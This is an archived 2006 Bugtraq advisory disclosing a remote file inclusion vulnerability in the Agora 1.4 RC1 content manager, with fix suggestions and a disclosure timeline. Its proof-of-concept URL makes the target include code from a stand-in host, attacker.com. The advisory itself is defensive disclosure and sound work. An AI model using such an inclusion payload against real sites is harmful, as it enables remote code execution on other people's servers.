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List:       bugtraq
Subject:    [ECHO_ADV_59_2006]Agora 1.4 RC1  "$_SESSION[PATH_COMPOSANT]"
From:       erdc () echo ! or ! id
Date:       2006-11-06 4:10:20
Message-ID: 20061106041020.31986.qmail () securityfocus ! com
[Download RAW message or body]

-----------------------------------------------------------------------------------------------
 [ECHO_ADV_59$2006]Agora 1.4 RC1  "$_SESSION[PATH_COMPOSANT]" Remote File Inclusion \
                Vulnerability
-----------------------------------------------------------------------------------------------


Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv59-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Agora
version		: 1.4 RC1
URL		: http://www.agora.gouv.fr

Based on the free software Spip, Agora is a free software of management of contents \
for  Internet developed in php, which makes it possible to put in place and to manage \
quickly  and with lower cost of the Internet sites, Intranet or extranet.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------
....
<?
include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")
...
----------------------------------------------------------

Input passed to the "$_SESSION["PATH_COMPOSANT"]" parameter in Mysqlfinder.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt?



Solution:
~~~~~~~

- Insert new line code :
  ...
  include_once 'MysqlfinderParam.inc';
  ...
  
  Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")

- Turn off register_globals
- Turn off display_error to Hide Full Path Error

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------


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